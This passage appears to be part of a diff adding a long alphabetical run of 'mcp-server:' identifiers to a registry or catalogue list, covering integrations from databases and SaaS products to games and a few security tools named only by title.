+ "mcp-server:looking-glass", + "mcp-server:loom", + "mcp-server:lorcana-cards", + "mcp-server:lore-agent", + "mcp-server:lorem-ipsum", + "mcp-server:lottiefiles", + "mcp-server:lotus-wisdom", + "mcp-server:lovense", + "mcp-server:lsp", + "mcp-server:lucid", + "mcp-server:ludus", + "mcp-server:lumbretravel", + "mcp-server:luna", + "mcp-server:lustre", + "mcp-server:lxd", + "mcp-server:lxdig", + "mcp-server:lynxprompt", + "mcp-server:lyra-profiles", + "mcp-server:lystbot", + "mcp-server:m-pesa-daraja", + "mcp-server:maasy", + "mcp-server:mackerel", + "mcp-server:macrostrat", + "mcp-server:magg", + "mcp-server:magic-ui", + "mcp-server:magicmirror", + "mcp-server:maigret-osint", + "mcp-server:makesync", + "mcp-server:mandoline", + "mcp-server:manifold", + "mcp-server:mantisbt", + "mcp-server:manus", + "mcp-server:mapbox-devkit", + "mcp-server:maplestory", + "mcp-server:marketcore", + "mcp-server:marketo-forms", + "mcp-server:marklogic", + "mcp-server:marktstammdatenregister-mastr", + "mcp-server:markymark", + "mcp-server:marvenn", + "mcp-server:mason", + "mcp-server:mastodon", + "mcp-server:materialize", + "mcp-server:mathcad-prime", + "mcp-server:matlab", + "mcp-server:maton", + "mcp-server:mattermost", + "mcp-server:maxminddb", + "mcp-server:maxpace", + "mcp-server:maya", + "mcp-server:mcacp", + "mcp-server:mcdev", + "mcp-server:mcp2cli", + "mcp-server:mcp2cli-rs", + "mcp-server:mcpcpp", + "mcp-server:mcpdomain", + "mcp-server:mcpenum", + "mcp-server:mcpet", + "mcp-server:mcpfarm-ai", + "mcp-server:mcpfinder", + "mcp-server:mcpgo", + "mcp-server:mcphub", + "mcp-server:mcpindex", + "mcp-server:mcpizza-domino-s-pizza", + "mcp-server:mcpjungle", + "mcp-server:mcplex", + "mcp-server:mcpmarket", + "mcp-server:mcpmux", + "mcp-server:mcpproxy", + "mcp-server:mcpr", + "mcp-server:mcpserve", + "mcp-server:mcpshell", + "mcp-server:mcpspec", + "mcp-server:mcpvil", + "mcp-server:mctx", + "mcp-server:md-md", + "mcp-server:mdma", + "mcp-server:mdshare", + "mcp-server:mediabox", + "mcp-server:mediastack", + "mcp-server:mediawiki", + "mcp-server:mediawiki-by-crunchtools", + "mcp-server:meeting-baas", + "mcp-server:meetlark", + "mcp-server:megaplan", + "mcp-server:meilisearch", + "mcp-server:meitre", + "mcp-server:melonds-emulator", + "mcp-server:memberkit", + "mcp-server:members-1st", + "mcp-server:mender-iot", + "mcp-server:mercado-libre", + "mcp-server:meshimize", + "mcp-server:meshseeks", + "mcp-server:meshy", + "mcp-server:metabase", + "mcp-server:metamask", + "mcp-server:metamcp", + "mcp-server:metaplex", + "mcp-server:metatrader-metaeditor", + "mcp-server:metricduck", + "mcp-server:metricool", + "mcp-server:metricui-by-mpmcgowen", + "mcp-server:metrifyr", + "mcp-server:metrillm", + "mcp-server:metropolitan-museum-of-art", + "mcp-server:meyhem", + "mcp-server:mica-energy", + "mcp-server:michelson", + "mcp-server:microcms", + "mcp-server:microlink", + "mcp-server:midnight-next-js", + "mcp-server:midos", + "mcp-server:migratorxpress", + "mcp-server:mikrotik-routeros", + "mcp-server:milemaker", + "mcp-server:milvus", + "mcp-server:mimirs", + "mcp-server:mindbox", + "mcp-server:mindbridge", + "mcp-server:mindm", + "mcp-server:minds-ai", + "mcp-server:mindsdb", + "mcp-server:mindvalley-products", + "mcp-server:minemcp", + "mcp-server:minesweeper", + "mcp-server:minirag", + "mcp-server:minoa", + "mcp-server:mintline", + "mcp-server:miro", + "mcp-server:miro-go", + "mcp-server:mirror", + "mcp-server:mishloha", + "mcp-server:mixamo", + "mcp-server:mkdocs", + "mcp-server:mlcbakery", + "mcp-server:mlflow", + "mcp-server:mobbin", + "mcp-server:mobi", + "mcp-server:mochi-flashcards", + "mcp-server:mockd", + "mcp-server:mockflow-ideaboard", + "mcp-server:mockhero", + "mcp-server:mockloop", + "mcp-server:mockserver", + "mcp-server:mockupper", + "mcp-server:modal", + "mcp-server:moldsim", + "mcp-server:moling", + "mcp-server:mollygraph", + "mcp-server:moltarch", + "mcp-server:moltbook", + "mcp-server:moltbridge", + "mcp-server:moltrust", + "mcp-server:mongo-scout", + "mcp-server:mongodb", + "mcp-server:mongodb-atlas", + "mcp-server:mongtap", + "mcp-server:monkey", + "mcp-server:mood-booster", + "mcp-server:moodle", + "mcp-server:moodler", + "mcp-server:moonbridge", + "mcp-server:morpho", + "mcp-server:mosta", + "mcp-server:motaword", + "mcp-server:motherduck-duckdb", + "mcp-server:mousetail", + "mcp-server:moysklad", + "mcp-server:mozichem", + "mcp-server:mozisu-character-counter", + "mcp-server:mulesoft-anypoint", + "mcp-server:multipass", + "mcp-server:multiviewer-for-f1", + "mcp-server:mup-by-ricky610329", + "mcp-server:mural", + "mcp-server:musclesworked", + "mcp-server:muster-moodle-must-university", + "mcp-server:mycrab", + "mcp-server:myip", + "mcp-server:mymcpspace", + "mcp-server:myob-accountright", + "mcp-server:myque08-savvy-scratch", + "mcp-server:myssl", + "mcp-server:mytaskly", + "mcp-server:mythic", + "mcp-server:n-lobby", + "mcp-server:nanmesh", + "mcp-server:nanostores", + "mcp-server:napkin", + "mcp-server:napkin-ai", + "mcp-server:nationalize", + "mcp-server:nativ", + "mcp-server:nautobot", + "mcp-server:naver-searchad", + "mcp-server:navifare", + "mcp-server:navisworks", + "mcp-server:nb", + "mcp-server:nctr-alliance", + "mcp-server:neat-pulse", + "mcp-server:nebulagraph", + "mcp-server:need", + "mcp-server:needhuman", + "mcp-server:needle", + "mcp-server:neemee", + "mcp-server:nelly-the-elephant", + "mcp-server:neodb", + "mcp-server:nerdearla-conference", + "mcp-server:nestr", + "mcp-server:netbird", + "mcp-server:netbox", + "mcp-server:netbrain", + "mcp-server:netdata", + "mcp-server:netease-modsdk", + "mcp-server:netintel", + "mcp-server:netlify", + "mcp-server:netlogo", + "mcp-server:netskope", + "mcp-server:nettune", + "mcp-server:networkmanager-nmstate", + "mcp-server:new-relic-logs", + "mcp-server:new-york-times", + "mcp-server:news-api-aggregator", + "mcp-server:news-monitor", + "mcp-server:newsapi", + "mcp-server:newsdata", + "mcp-server:newshub", + "mcp-server:newsmcp", + "mcp-server:newsnow", + "mcp-server:newzai", + "mcp-server:nexi-xpay", + "mcp-server:nextcloud", + "mcp-server:nextrole", + "mcp-server:nextscan", + "mcp-server:nexusdb", + "mcp-server:nexusfeed", + "mcp-server:nexusmind", + "mcp-server:nfe-io", + "mcp-server:nhtsa", + "mcp-server:nia", + "mcp-server:nicegui", + "mcp-server:nicheiqs", + "mcp-server:nido", + "mcp-server:nixos", + "mcp-server:nlsql", + "mcp-server:nltk", + "mcp-server:nmap", + "mcp-server:nocturnusai", + "mcp-server:nodebench", + "mcp-server:nodemcu", + "mcp-server:nomad", + "mcp-server:nomad-stays", + "mcp-server:nomadforecast", + "mcp-server:nometria-deploy", + "mcp-server:noosphere", + "mcp-server:nordax", + "mcp-server:northdata", + "mcp-server:nostrdb", + "mcp-server:notra", + "mcp-server:novacv", + "mcp-server:nowah-travel", + "mcp-server:npcterm", + "mcp-server:nsf-awards", + "mcp-server:nuberea", + "mcp-server:nuke", + "mcp-server:nushell", + "mcp-server:nuvem-fiscal", + "mcp-server:nuxt-js", + "mcp-server:nvidia-brev", + "mcp-server:nvidia-usdcode", + "mcp-server:nylas", + "mcp-server:objekt-upload", + "mcp-server:oboe", + "mcp-server:obscura-ai", + "mcp-server:observium-ce", + "mcp-server:occam", + "mcp-server:octonet", + "mcp-server:odos", + "mcp-server:odsbox-jaquel", + "mcp-server:oecd", + "mcp-server:oeradio", + "mcp-server:offensiveset", + "mcp-server:offorte", + "mcp-server:oh-my-posh", + "mcp-server:ohm", + "mcp-server:okahu", + "mcp-server:okta", + "mcp-server:ollama", + "mcp-server:omie", + "mcp-server:omise", + "mcp-server:omni-lpr", + "mcp-server:omni-nli-by-cogitatortech", + "mcp-server:omniparser", + "mcp-server:omniparser-autogui", + "mcp-server:omnisearch", + "mcp-server:omnisockit", + "mcp-server:omniwire", + "mcp-server:onekgp", + "mcp-server:onelogin", + "mcp-server:onemcp", + "mcp-server:onesource", + "mcp-server:onetool", + "mcp-server:online-judge", + "mcp-server:online-kommentar", + "mcp-server:onos", + "mcp-server:ontomics", + "mcp-server:opalstack", + "mcp-server:opc-ua", + "mcp-server:opcon", + "mcp-server:openai", + "mcp-server:openalex", + "mcp-server:openalgernon", + "mcp-server:openbb-widgets", + "mcp-server:openbim", + "mcp-server:openbotcity", + "mcp-server:openbrand", + "mcp-server:openbudget", + "mcp-server:openclaw", + "mcp-server:openclaw-direct", + "mcp-server:opencollab", + "mcp-server:opencollective-hetzner", + "mcp-server:opencrab", + "mcp-server:opencrane", + "mcp-server:opencti", + "mcp-server:opendal", + "mcp-server:opendatamcp", + "mcp-server:opendia", + "mcp-server:opendigger", + "mcp-server:opendota", + "mcp-server:openfacet", + "mcp-server:openfeature", + "mcp-server:openfec", + "mcp-server:openfga", + "mcp-server:openfigi", + "mcp-server:openfoam", + "mcp-server:openfort", + "mcp-server:opengenes", + "mcp-server:opengov-socrata", + "mcp-server:opengraph-io", + "mcp-server:opengrok", + "mcp-server:openharness", + "mcp-server:openhive", + "mcp-server:openhue", + "mcp-server:openjuno", + "mcp-server:openmandate", + "mcp-server:openmanus", + "mcp-server:openmetadata", + "mcp-server:opennews-6551", + "mcp-server:openpaper", + "mcp-server:openproject", + "mcp-server:openregister", + "mcp-server:openroad", + "mcp-server:openrouter", + "mcp-server:openrouteservice", + "mcp-server:openrpc", + "mcp-server:openscad", + "mcp-server:opensearch", + "mcp-server:opentable", + "mcp-server:opentrons", + "mcp-server:openttt", + "mcp-server:openviking", + "mcp-server:openzim", + "mcp-server:openziti", + "mcp-server:operant", + "mcp-server:opik", + "mcp-server:opnsense", + "mcp-server:opsera", + "mcp-server:opslevel", + "mcp-server:optics", + "mcp-server:optimizely-dxp", + "mcp-server:optimly-scout", + "mcp-server:optuna", + "mcp-server:oraclaw", + "mcp-server:oracledb", + "mcp-server:orbuc", + "mcp-server:orca-lang", + "mcp-server:orchestro", + "mcp-server:ordinal", + "mcp-server:orion-dbs", + "mcp-server:ormcp", + "mcp-server:ortto", + "mcp-server:osint-recon", + "mcp-server:osmosis", + "mcp-server:osmosis-apply", + "mcp-server:oura", + "mcp-server:oura-ring", + "mcp-server:outline", + "mcp-server:outscraper", + "mcp-server:overleaf", + "mcp-server:overseer", + "mcp-server:overseerr", + "mcp-server:ovhcloud", + "mcp-server:oyemi", + "mcp-server:paddleocr", + "mcp-server:paelladoc", + "mcp-server:pagebolt", + "mcp-server:pagecast", + "mcp-server:pagemap", + "mcp-server:pagerduty", + "mcp-server:pagseguro", + "mcp-server:paichart", + "mcp-server:pancakeswap-poolspy", + "mcp-server:paparats", + "mcp-server:paperbanana", + "mcp-server:paperclip", + "mcp-server:paperclip-surfers", + "mcp-server:paperless-ngx", + "mcp-server:paperlink", + "mcp-server:parallect", + "mcp-server:parallel-task", + "mcp-server:paraview", + "mcp-server:parentsquare", + "mcp-server:pari-gp", + "mcp-server:parism", + "mcp-server:parkour", + "mcp-server:parseable", + "mcp-server:patents", + "mcp-server:pathfinder", + "mcp-server:pathmode", + "mcp-server:pbixray", + "mcp-server:pcapy-ng", + "mcp-server:pcileech", + "mcp-server:pearl", + "mcp-server:peedief", + "mcp-server:peek", + "mcp-server:penni", + "mcp-server:penpot", + "mcp-server:pensiata", + "mcp-server:pensionpro", + "mcp-server:pentest", + "mcp-server:pentest-ai", + "mcp-server:pentester", + "mcp-server:pentestmcp", + "mcp-server:pentestthinking", + "mcp-server:percept", + "mcp-server:perception", + "mcp-server:perf", + "mcp-server:perfetto", + "mcp-server:perforce-p4", + "mcp-server:perigon", + "mcp-server:persistproc", + "mcp-server:person-enrichment", + "mcp-server:personalhub", + "mcp-server:pestprocrm", + "mcp-server:pet-adoption-scheduler", + "mcp-server:petamind", + "mcp-server:petroglyphs", + "mcp-server:pexpect", + "mcp-server:pforge", + "mcp-server:pfsense", + "mcp-server:pga", + "mcp-server:ph-schools", + "mcp-server:phalcon", + "mcp-server:pharo", + "mcp-server:phenomenai-dictionary", + "mcp-server:philips-hue", + "mcp-server:philips-hue-ble", + "mcp-server:phospho", + "mcp-server:phrases", + "mcp-server:physbound", + "mcp-server:pi-hole", + "mcp-server:pica", + "mcp-server:pickaxe", + "mcp-server:picocalc", + "mcp-server:picoli-url-shortener", + "mcp-server:pictmcp", + "mcp-server:pimp-my-ride", + "mcp-server:pinata-ipfs", + "mcp-server:pinchtab", + "mcp-server:pinner", + "mcp-server:pinrag-by-ndjordjevic", + "mcp-server:pinterest", + "mcp-server:pipedream", + "mcp-server:pipepost", + "mcp-server:pitchghost", + "mcp-server:pitchlense", + "mcp-server:pituitary", + "mcp-server:pitwall-f1", + "mcp-server:pixabay", + "mcp-server:pkgx", + "mcp-server:plane", + "mcp-server:planetscale", + "mcp-server:planexe", + "mcp-server:planfix", + "mcp-server:planka", + "mcp-server:plexmcp", + "mcp-server:plexus", + "mcp-server:pluggedin", + "mcp-server:plus-ai", + "mcp-server:plutomcp-jl", + "mcp-server:pmat-agent", + "mcp-server:pmd", + "mcp-server:pmwiki", + "mcp-server:pocket", + "mcp-server:pocketbase", + "mcp-server:pocketlantern", + "mcp-server:poeditor", + "mcp-server:poetry", + "mcp-server:poetrydb", + "mcp-server:pohoda", + "mcp-server:pok-mon", + "mcp-server:poke-gate", + "mcp-server:pokeapi", + "mcp-server:pokedex", + "mcp-server:pokemcp", + "mcp-server:pokemon", + "mcp-server:pokemon-nds-desmume", + "mcp-server:pokepaste", + "mcp-server:polardb", + "mcp-server:polardb-x", + "mcp-server:polarsteps", + "mcp-server:polybridge", + "mcp-server:polydev", + "mcp-server:ponzu", + "mcp-server:popui", + "mcp-server:port", + "mcp-server:portkey", + "mcp-server:postbolt", + "mcp-server:postfast", + "mcp-server:posthog", + "mcp-server:power-bi", + "mcp-server:powerdrill", + "mcp-server:powerplatform-dataverse", + "mcp-server:powerpoint", + "mcp-server:powersun-tron", + "mcp-server:powhttp", + "mcp-server:ppc-prophet", + "mcp-server:practicepanther", + "mcp-server:predictleads", + "mcp-server:prefect", + "mcp-server:preflight", + "mcp-server:preloop", + "mcp-server:prem-ai", + "mcp-server:primer-agent", + "mcp-server:primevue", + "mcp-server:printr", + "mcp-server:prismatic-prism", + "mcp-server:prismhr", + "mcp-server:prismism", + "mcp-server:privategpt", + "mcp-server:process", + "mcp-server:procm", + "mcp-server:prode", + "mcp-server:productboard", + "mcp-server:productive", + "mcp-server:productplan", + "mcp-server:produktly", + "mcp-server:projectbrain", + "mcp-server:projgraph", + "mcp-server:prolog", + "mcp-server:prometheus", + "mcp-server:prometheus-alertmanager", + "mcp-server:propertyscoop", + "mcp-server:propresenter", + "mcp-server:propstack", + "mcp-server:prospeo", + "mcp-server:protobuf-formatter", + "mcp-server:protocols-io", + "mcp-server:provenote", + "mcp-server:provimedia-chainguard", + "mcp-server:prowl", + "mcp-server:proxmox", + "mcp-server:proxmox-ve", + "mcp-server:proxylink", + "mcp-server:prozorro", + "mcp-server:prusaslicer", + "mcp-server:psyxe", + "mcp-server:pubchem", + "mcp-server:publer", + "mcp-server:pubnub", + "mcp-server:pueue", + "mcp-server:pulsar", + "mcp-server:pulsemcp", + "mcp-server:pulsyn", + "mcp-server:pulumi", + "mcp-server:pumpclaw", + "mcp-server:pure-md", + "mcp-server:purple-flea-casino", + "mcp-server:pusher-channels", + "mcp-server:put-io", + "mcp-server:putput", + "mcp-server:puzzlebox", + "mcp-server:pwntools", + "mcp-server:pyautogui", + "mcp-server:pylon", + "mcp-server:pylpex", + "mcp-server:pymetasploit3", + "mcp-server:pynastran", + "mcp-server:pyodbc", + "mcp-server:pyomo", + "mcp-server:pypreset", + "mcp-server:pyrestoolbox", + "mcp-server:pyrunner", + "mcp-server:pysqlit", + "mcp-server:q-scheduler", + "mcp-server:qanon", + "mcp-server:qase", + "mcp-server:qasper", + "mcp-server:qasphere", + "mcp-server:qdrant", + "mcp-server:qiita", + "mcp-server:qlik-sense", + "mcp-server:qr-for-agent", + "mcp-server:qrcodly", + "mcp-server:qrz", + "mcp-server:qsp", + "mcp-server:querynest-mongodb", + "mcp-server:queryweaver", + "mcp-server:questlife", + "mcp-server:quickbase", + "mcp-server:quickbooks", + "mcp-server:quickfile", + "mcp-server:quillmark", + "mcp-server:quint", + "mcp-server:quotewise", + "mcp-server:r-econometrics", + "mcp-server:radarr-and-sonarr", + "mcp-server:radzen-blazor", + "mcp-server:rae-dictionary", + "mcp-server:ragscore", + "mcp-server:raindrop", + "mcp-server:raindrop-io", + "mcp-server:rakuten", + "mcp-server:rally", + "mcp-server:randomuser", + "mcp-server:rapidapi", + "mcp-server:rash", + "mcp-server:rationalbloks", + "mcp-server:raygun", + "mcp-server:rclone", + "mcp-server:rd-station", + "mcp-server:rdl", + "mcp-server:readhn", + "mcp-server:readwise", + "mcp-server:readyorai", + "mcp-server:realvest", + "mcp-server:reamaze", + "mcp-server:reaper-daw", + "mcp-server:rebrandly", + "mcp-server:recaf", + "mcp-server:reclaim-ai", + "mcp-server:recode", + "mcp-server:recon-ng", + "mcp-server:recoupable", + "mcp-server:redalert", + "mcp-server:redash", + "mcp-server:redfin", + "mcp-server:redmine", + "mcp-server:redshift", + "mcp-server:refetch", + "mcp-server:refgrow", + "mcp-server:reflag", + "mcp-server:reftrixmcp-by-tkmd", + "mcp-server:refund-decide", + "mcp-server:regennexus-uap", + "mcp-server:registrum", + "mcp-server:rei3-tickets", + "mcp-server:reilize-pitt-county", + "mcp-server:reinfo", + "mcp-server:rekordbox", + "mcp-server:relay", + "mcp-server:relevanceai", + "mcp-server:relion", + "mcp-server:rember", + "mcp-server:rememb", + "mcp-server:remnawave", + "mcp-server:remotebridge", + "mcp-server:remotex", + "mcp-server:remotolist", + "mcp-server:render", + "mcp-server:renderdoc", + "mcp-server:rendezvous", + "mcp-server:rendoc", + "mcp-server:replicate", + "mcp-server:reply-io", + "mcp-server:repology", + "mcp-server:repomapper", + "mcp-server:repomemory", + "mcp-server:requestrepo", + "mcp-server:resonitelink", + "mcp-server:rethinkdb", + "mcp-server:return0", + "mcp-server:revenuecat-charts", + "mcp-server:reviewwebsite", + "mcp-server:revit", + "mcp-server:revit-via-aps", + "mcp-server:revitmcp", + "mcp-server:rewatch", + "mcp-server:rexd-frida", + "mcp-server:rezi", + "mcp-server:rhino-3d", + "mcp-server:rhino-8", + "mcp-server:rhino3d", + "mcp-server:rhumb", + "mcp-server:rhylthyme", + "mcp-server:rick-and-morty", + "mcp-server:rideshare-comparison", + "mcp-server:ridewithgps", + "mcp-server:rierino", + "mcp-server:rijksmuseum-amsterdam", + "mcp-server:riksarkivet", + "mcp-server:ripgrep", + "mcp-server:rival", + "mcp-server:rivian", + "mcp-server:riza", + "mcp-server:rlm", + "mcp-server:roboflow", + "mcp-server:robtex", + "mcp-server:rockauto", + "mcp-server:rocketmq", + "mcp-server:rocketreach", + "mcp-server:rocq", + "mcp-server:roistat", + "mcp-server:roku", + "mcp-server:rollbar", + "mcp-server:rolli", + "mcp-server:rollin", + "mcp-server:room", + "mcp-server:root", + "mcp-server:rootdata", + "mcp-server:rootly", + "mcp-server:roots-by-benda", + "mcp-server:rosetta-symmetry", + "mcp-server:rosh", + "mcp-server:rotunda", + "mcp-server:routekit", + "mcp-server:routine", + "mcp-server:routrt", + "mcp-server:rqbit", + "mcp-server:rsdoctor", + "mcp-server:rss3", + "mcp-server:rssdeck", + "mcp-server:rtfm-by-roomi-fields", + "mcp-server:rtopacks", + "mcp-server:rubber-duck", + "mcp-server:rubygems", + "mcp-server:ruchy", + "mcp-server:rundeck", + "mcp-server:rundida", + "mcp-server:runno", + "mcp-server:runrun-it", + "mcp-server:rustchain-bottube", + "mcp-server:rustypaste", + "mcp-server:ruv-swarm", + "mcp-server:saf-t-portugal", + "mcp-server:saga", + "mcp-server:samrum", + "mcp-server:samtools", + "mcp-server:sas-viya", + "mcp-server:satoshidata", + "mcp-server:sayou", + "mcp-server:sayou-opendart", + "mcp-server:scalekit", + "mcp-server:scalene", + "mcp-server:scalereach", + "mcp-server:scaleway-functions", + "mcp-server:scanbim", + "mcp-server:schemacheck", + "mcp-server:schemacrawler-ai", + "mcp-server:scispot", + "mcp-server:scorecard", + "mcp-server:scout", + "mcp-server:scout-apm", + "mcp-server:scrapercity", + "mcp-server:screenhand", + "mcp-server:scryfall", + "mcp-server:se-livestock", + "mcp-server:search1api", + "mcp-server:searchagora", + "mcp-server:searchapi", + "mcp-server:searchatlas", + "mcp-server:searchcraft", + "mcp-server:searxng-by-aicrafted", + "mcp-server:seatable", + "mcp-server:seatgeek", + "mcp-server:seitrace", + "mcp-server:selfmcp", + "mcp-server:seline", + "mcp-server:selvo", + "mcp-server:semahash", + "mcp-server:semanticapi", + "mcp-server:semilattice", + "mcp-server:semrush", + "mcp-server:sensact", + "mcp-server:sensegrep", + "mcp-server:sensei", + "mcp-server:sensei-dojo", + "mcp-server:senzing", + "mcp-server:seoforgpt", + "mcp-server:seq", + "mcp-server:sequenzy", + "mcp-server:serial", + "mcp-server:serpstat", + "mcp-server:servicebricks", + "mcp-server:servicenow", + "mcp-server:servicenow-itsm", + "mcp-server:servicialo", + "mcp-server:settro", + "mcp-server:setu-kyc", + "mcp-server:setu-upi-deeplinks", + "mcp-server:sevalla", + "mcp-server:sflow-airunner", + "mcp-server:sgp-directory", + "mcp-server:shadcn-ui", + "mcp-server:shaka-packager", + "mcp-server:sharepoint", + "mcp-server:sharepoint-lists", + "mcp-server:sheetsdata", + "mcp-server:shinryu", + "mcp-server:shodan", + "mcp-server:shortcut", + "mcp-server:sidclaw", + "mcp-server:sidekiq", + "mcp-server:sideways", + "mcp-server:sift", + "mcp-server:signadot", + "mcp-server:signal", + "mcp-server:signaturit", + "mcp-server:signnow", + "mcp-server:signoz", + "mcp-server:sigparser", + "mcp-server:sigrok", + "mcp-server:silent-brief", + "mcp-server:silicon-friendly", + "mcp-server:simplescraper", + "mcp-server:simplifier", + "mcp-server:simsense", + "mcp-server:simulink", + "mcp-server:singlestore", + "mcp-server:singular-reporting", + "mcp-server:sinstaller", + "mcp-server:siriuslattice-evmcp", + "mcp-server:sisense", + "mcp-server:sitecore", + "mcp-server:sitehealth", + "mcp-server:sitelauncher", + "mcp-server:sitemapkit", + "mcp-server:sitevitals", + "mcp-server:skala", + "mcp-server:sketch", + "mcp-server:sketchfab", + "mcp-server:sketchup", + "mcp-server:skillful", + "mcp-server:skillhub", + "mcp-server:skinny-jeans", + "mcp-server:skolverket", + "mcp-server:skool", + "mcp-server:skybridge-capitals", + "mcp-server:skypilot", + "mcp-server:skyvern", + "mcp-server:slashvibe", + "mcp-server:slay-the-spire-2", + "mcp-server:sleep", + "mcp-server:slideforge", + "mcp-server:slidemaster", + "mcp-server:slidespeak", + "mcp-server:slidev", + "mcp-server:slima", + "mcp-server:slimcontext", + "mcp-server:sling", + "mcp-server:slopwatch", + "mcp-server:smart-cs", + "mcp-server:smart-prompts", + "mcp-server:smartbear", + "mcp-server:smarthomeexplorer", + "mcp-server:smartlead", + "mcp-server:smartschool", + "mcp-server:smartthings", + "mcp-server:smbmap", + "mcp-server:snapback", + "mcp-server:snapcall", + "mcp-server:snapog", + "mcp-server:snow-leopard-bigquery", + "mcp-server:snowfakery", + "mcp-server:snowflake", + "mcp-server:sns-dao", + "mcp-server:socialneuron", + "mcp-server:sociavault", + "mcp-server:sodax-builders", + "mcp-server:solarsage", + "mcp-server:solarwinds-observability-logs", + "mcp-server:solesonic", + "mcp-server:solodit", + "mcp-server:something-awful-forums", + "mcp-server:sonarcloud", + "mcp-server:sonarqube", + "mcp-server:sonatype", + "mcp-server:sonicwall", + "mcp-server:sophon", + "mcp-server:sota-deploy", + "mcp-server:soul-md", + "mcp-server:sounding", + "mcp-server:sourcebook", + "mcp-server:sourced", + "mcp-server:sourcegraph", + "mcp-server:sourceharbor", + "mcp-server:sourcesync-ai", + "mcp-server:south-asia", + "mcp-server:southwest-airlines", + "mcp-server:spaceflight-news", + "mcp-server:spacemolt", + "mcp-server:sparkmango", + "mcp-server:sparql", + "mcp-server:spartan-ng", + "mcp-server:spartan-ui", + "mcp-server:sparx-fire-revit", + "mcp-server:speak-for-the-trees", + "mcp-server:specification", + "mcp-server:speckle", + "mcp-server:specleft", + "mcp-server:specrun", + "mcp-server:specterqa", + "mcp-server:speedof-me", + "mcp-server:spines", + "mcp-server:spinnaker", + "mcp-server:spira", + "mcp-server:splunk", + "mcp-server:spocont-ifrs", + "mcp-server:spotdb", + "mcp-server:spring-i-o", + "mcp-server:springone-2025", + "mcp-server:spritecook", + "mcp-server:sprout", + "mcp-server:sqlaugur", + "mcp-server:sqlew", + "mcp-server:sqlmesh", + "mcp-server:squad", + "mcp-server:stacks-clarity", + "mcp-server:stacksfinder", + "mcp-server:stakpak", + "mcp-server:starknet", + "mcp-server:starrocks", + "mcp-server:starwind-ui", + "mcp-server:stata", + "mcp-server:statbotics", + "mcp-server:stateset", + "mcp-server:staticbot", + "mcp-server:statsig", + "mcp-server:status", + "mcp-server:stdoutmcp", + "mcp-server:steadyfetch", + "mcp-server:steam", + "mcp-server:steam-by-obrien-matthew", + "mcp-server:stellify", + "mcp-server:stockfish", + "mcp-server:storacha", + "mcp-server:storm", + "mcp-server:storyblok", + "mcp-server:storybook-preview", + "mcp-server:storylenses", + "mcp-server:strata", + "mcp-server:strateegia", + "mcp-server:strava", + "mcp-server:strava-arjanlig", + "mcp-server:strava-training", + "mcp-server:strawbery-unicode-character-counter", + "mcp-server:stresszero", + "mcp-server:studentvue", + "mcp-server:studentvue-gradebook", + "mcp-server:stylemcp", + "mcp-server:stytch", + "mcp-server:styx", + "mcp-server:subotiz", + "mcp-server:subspacedomain", + "mcp-server:substack", + "mcp-server:sudomock", + "mcp-server:sugar", + "mcp-server:sui", + "mcp-server:summarization", + "mcp-server:summit53", + "mcp-server:sunsama", + "mcp-server:supatask", + "mcp-server:supavec", + "mcp-server:superagent", + "mcp-server:supercolony", + "mcp-server:superdesign", + "mcp-server:superfetch", + "mcp-server:superglue", + "mcp-server:superiorapis", + "mcp-server:supersend", + "mcp-server:superset", + "mcp-server:surgicalfs", + "mcp-server:surrealdb", + "mcp-server:survey", + "mcp-server:sushimcp", + "mcp-server:sustainops", + "mcp-server:svelte", + "mcp-server:swaitch", + "mcp-server:swi-prolog", + "mcp-server:swiftkanban", + "mcp-server:switchbot", + "mcp-server:swotpal", + "mcp-server:symbols", + "mcp-server:symfony-ai-mate", + "mcp-server:synapbus", + "mcp-server:synapseaudit", + "mcp-server:syncline", + "mcp-server:synclub", + "mcp-server:syntex", + "mcp-server:systemctl", + "mcp-server:systemd-coredump", + "mcp-server:systemonomic", + "mcp-server:systemprompt", + "mcp-server:t9-ipc", + "mcp-server:tablafocus", + "mcp-server:tableau", + "mcp-server:tabnews", + "mcp-server:tabula", + "mcp-server:tachibot", + "mcp-server:tactual", + "mcp-server:tagesschau", + "mcp-server:tagoio", + "mcp-server:taiga", + "mcp-server:tailscale", + "mcp-server:taiwanebooksearch", + "mcp-server:tally", + "mcp-server:talos", + "mcp-server:tana", + "mcp-server:tana-codemode", + "mcp-server:tandem", + "mcp-server:tangled", + "mcp-server:tanjiren", + "mcp-server:tapo-smart-home", + "mcp-server:tapsite", + "mcp-server:tarot", + "mcp-server:tascan", + "mcp-server:task-master", + "mcp-server:taskade", + "mcp-server:taskchecker", + "mcp-server:taskflow", + "mcp-server:taskmanager", + "mcp-server:taskmate", + "mcp-server:taskqueue", + "mcp-server:taskrabbit", + "mcp-server:tasks", + "mcp-server:taskwarrior", + "mcp-server:tauri", + "mcp-server:tcl-udf", + "mcp-server:teamcenter", + "mcp-server:teamcity", + "mcp-server:teamfight-tactics", + "mcp-server:teammcp", + "mcp-server:teamretro", + "mcp-server:teamsnap", + "mcp-server:teamspeak", + "mcp-server:teamwork", + "mcp-server:tecton", + "mcp-server:tekna", + "mcp-server:telemetrydeck", + "mcp-server:telldone", + "mcp-server:telos", + "mcp-server:templated-io", + "mcp-server:templatefox", + "mcp-server:templateio", + "mcp-server:tempo", + "mcp-server:tempograph", + "mcp-server:tendem", + "mcp-server:tenderly", + "mcp-server:tengu", + "mcp-server:tenzir", + "mcp-server:termlink", + "mcp-server:terrakube", + "mcp-server:tesla-tessie", + "mcp-server:teslamate", + "mcp-server:testdino", + "mcp-server:testingbot", + "mcp-server:testiny", + "mcp-server:testmo", + "mcp-server:testomatio", + "mcp-server:testops", + "mcp-server:testrail", + "mcp-server:tether", + "mcp-server:tetrad-by-samoradc", + "mcp-server:texas-hold-em-poker", + "mcp-server:teztun", + "mcp-server:tft", + "mcp-server:tgo-yemek", + "mcp-server:thai-transliterate", + "mcp-server:the-blue-alliance", + "mcp-server:the-verge-news", + "mcp-server:thehive", + "mcp-server:themcpcompany", + "mcp-server:themissinglinkhub", + "mcp-server:thenewsapi", + "mcp-server:thingiverse", + "mcp-server:things", + "mcp-server:things-3", + "mcp-server:things3", + "mcp-server:thingsboard", + "mcp-server:thirdweb", + "mcp-server:thoth", + "mcp-server:thoughtbox", + "mcp-server:thoughtspot", + "mcp-server:threadmap", + "mcp-server:three-js", + "mcp-server:threedee-meshy", + "mcp-server:thrivestack", + "mcp-server:tianji", + "mcp-server:tickadoo", + "mcp-server:ticket-tailor", + "mcp-server:ticketmaster", + "mcp-server:ticketmaster-events", + "mcp-server:ticketmaster-live-events", + "mcp-server:ticktick", + "mcp-server:tidb-ai", + "mcp-server:tiddlywiki", + "mcp-server:tidymodels", + "mcp-server:tigerbeetle", + 